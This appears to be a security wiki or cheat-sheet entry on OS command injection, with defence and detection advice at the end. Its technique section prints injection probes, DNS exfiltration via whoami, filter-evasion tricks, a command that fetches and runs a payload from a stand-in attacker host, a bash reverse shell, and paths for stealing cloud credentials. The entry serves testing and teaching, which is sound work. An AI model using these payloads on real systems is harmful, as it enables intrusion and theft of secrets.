Command injection
TL;DR: User input is concatenated into a shell or
execcall; metacharacters break out of the intended command and run attacker code as the web user.
What it is
The app shells out — system(), popen(), Runtime.exec(), child_process.exec, backticks, or a templated subprocess call — with a string built from request data. Shell metacharacters in that data terminate the intended argument and start a new command, giving direct code execution in the server’s OS context.
Preconditions / where it applies
- Any endpoint that processes uploads (ffmpeg, ImageMagick, pdftotext), network tools (ping, dig, traceroute), archive extraction, or filename handling via a subprocess.
- The vulnerable sink uses a shell (
/bin/sh -c "...") — not anexecve-style call with an arg array. - An input field that flows into that string. Often it is hidden — a filename, a header, a chained metadata field.
Technique
-
Probe with safe separators. Append injectors and look for time or content side effects.
1 2 3 4 5
;sleep 5 |sleep 5 `sleep 5` $(sleep 5) &ping -c 3 attacker.tld
- Choose blind vs. in-band. If response shows command output, use
;id;. If not, use timing (sleep) or out-of-band: DNS (nslookup $(whoami).oast.me), HTTP (curl ...), or write to a known reachable path. - Quote breaking. When the input lands inside quotes, close them first:
"; id; #or'$(id)'. - Argument injection. Even without shell metacharacters, an unquoted flag-style input can pass extra args to the program — classic
--use-the-force-luke,-oProxyCommand=...againstssh,--execagainstfind. See application-logic-flaws. - Filter evasion. Spaces blocked →
${IFS}or<(); slashes blocked →${PATH:0:1}; word filters →w'h'oami/who$()ami. See waf-bypass. - Get a shell. After confirming exec, stage a tool (
curl -o /tmp/s attacker.tld/s; chmod +x /tmp/s; /tmp/s) or use a one-liner reverse shell (bash -i >& /dev/tcp/.../443 0>&1, encode through base64 if filters bite). - Pivot. Read env (
/proc/self/environ) for cloud creds; inspect~/.aws,/var/run/secrets. Cloud-metadata SSRF often pairs from here — see ssrf-to-cloud.
Detection and defence
- Replace shell-string sinks with
execve-style array calls. Never pass user data through/bin/sh -c. - Validate against a strict allowlist (hostname regex, numeric id) where the operation truly needs user data.
- Drop privileges, run subprocesses in a separate namespace, deny outbound from the web tier where possible.
- Detection: WAF rules for
;,|, backticks,$(; EDR rules for shells spawned by web/PHP/Node processes; egress alerts on the web user resolving uncommon domains.
References
- PortSwigger — OS command injection — labs and payloads.
- OWASP — Command Injection — definitions and examples.
- PayloadsAllTheThings — Command Injection — payload reference.